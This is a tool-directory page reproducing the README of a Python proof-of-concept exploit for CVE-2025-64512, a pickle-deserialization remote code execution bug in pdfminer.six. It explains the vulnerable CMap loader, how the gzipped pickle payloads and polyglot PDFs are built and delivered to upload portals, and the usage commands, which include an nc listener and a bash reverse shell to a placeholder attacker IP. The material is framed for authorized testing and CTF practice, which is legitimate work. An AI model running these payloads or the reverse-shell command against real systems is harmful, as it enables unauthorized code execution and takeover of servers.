Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-64512_PoC — Python PoC for CVE-2025-64512, a pdfminer.six pickle deserialization RCE. Generates gzipped pickle payloads and polyglot PDFs, then delivers them to upload portals for authorized testing. | Kitploit
Tools/GitHubGitHub/jinook-kim/cve-2025-64512_poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationCTFPenetration TestingLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHub
jinook-kim/cve-2025-64512_poc

CVE-2025-64512_PoC

Python PoC for CVE-2025-64512, a pdfminer.six pickle deserialization RCE. Generates gzipped pickle payloads and polyglot PDFs, then delivers them to upload portals for authorized testing.

View Repository
3520 days agoNot yet reviewed
Share

CVE-2025-64512 — pdfminer.six RCE exploit

Python 3, stdlib only (no pip installs). For authorized security testing and CTF use only — you are responsible for complying with the law and your engagement's rules of engagement.

CVECVE-2025-64512
Affectedpdfminer.six < 20251107 (fixed in 20251107 — CMaps became JSON)
Downstream victimsmarkitdown < 0.1.4, pdfplumber < 0.11.8
TypeCWE-502 deserialization of untrusted data → unauthenticated RCE
Reference PoCluigigubello/CVE-2025-64512-Polyglot-PoC (single-file polyglot variant)

Tested target: https://app.hackthebox.com/machines/Bedside


1. The vulnerability, in plain terms

pdfminer.six is a popular Python library for extracting text from PDFs. PDF fonts need CMaps — tables that translate character codes into Unicode — and pdfminer ships them as gzipped pickles (<name>.pickle.gz) inside its own package. Look at how a CMap is loaded (pdfminer/cmapdb.py, all versions before 20251107):

@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")                  # the ONLY sanitization
    filename = "%s.pickle.gz" % name               # ← attacker controls `name`
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # ← absolute name ignores the dir!
        if os.path.exists(path):
            with gzip.open(path) as gzfile:
                return type(str(name), (), pickle.loads(gzfile.read()))   # ← 💥

Three flaws stack up:

  1. name comes from the PDF itself. A Type0 (CID) font's /Encoding entry is a PDF name, and the attacker fully controls it. PDF names can't contain a raw /, so it is written with RFC-standard hex escapes: the name /#2f#76#61#72#2f… decodes to /var/….
  2. os.path.join quirk. When the second argument is absolute, the first is ignored entirely. So a name of /var/www/site/uploads/shell makes pdfminer look at /var/www/site/uploads/shell.pickle.gz — any path on disk — instead of its own CMap directory.
  3. pickle.loads() on the file's contents. A pickle can carry "rebuild me by calling this function" instructions (__reduce__). Deserializing attacker bytes = running attacker code, inside whatever process called pdfminer.

Exploit prerequisites — the bug is trivially exploitable on any application that gives you both halves of the equation:

  • a way to place a file at a known absolute path (an upload portal; the path is often leaked in error messages),
  • a way to make the server parse a PDF you control (on upload, on a convert endpoint, via a background watcher/cron, …).

2. What the script does

  1. Builds a gzipped pickle: {"__reduce__": eval("__import__('os').system('<your command>')")}.
  2. Builds a minimal but structurally valid PDF whose only content is a page that uses a Type0 font whose /Encoding names your pickle's absolute path.
  3. Delivers it:
    • --mode two (default) — uploads <name>.pickle.gz, then <name>.pdf. Use this whenever the target only parses files with a PDF extension (e.g. a watcher globbing uploads/*.pdf).
    • --mode polyglot — uploads one file <name>.pickle.gz that is both a valid gzip-pickle and a valid PDF: the entire PDF hides in the gzip header's FCOMMENT field (RFC 1952 allows comments; the %PDF- signature sits at byte 10, and the xref offsets are pre-shifted so the table stays valid). Use this when the target parses any uploaded file as PDF regardless of extension (markitdown-style converters).
  4. Optionally verifies the files landed (--verify), waits out the target's processing cycle (--wait), and can prepend a callback oracle (--callback) that phones home before your command runs — so you can prove execution even if your main channel fails.

3. Installation

Nothing to install — Python 3.10+ (uses str | None syntax):

chmod +x cve_2025_64512.py

4. Usage

4.1 Rehearse locally first

Generate sample payloads and (if a vulnerable pdfminer is importable) execute them in your own Python to prove the chain works before touching a target:

# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest

Expected output ends with SELFTEST PASS for both the two-file trigger and the polyglot. You can also test manually:

python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/       # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf                # vulnerable pdfminer only
cat /tmp/pwned                                  # → your uid

4.2 Generic upload portal (Bedside-style)

# 1. start a listener for your command's callback channel
nc -lvnp 4444

# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
    --url http://research.target.htb/ \
    --leak-path \
    --verify /uploads \
    --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"

Full argument reference:

Download Tool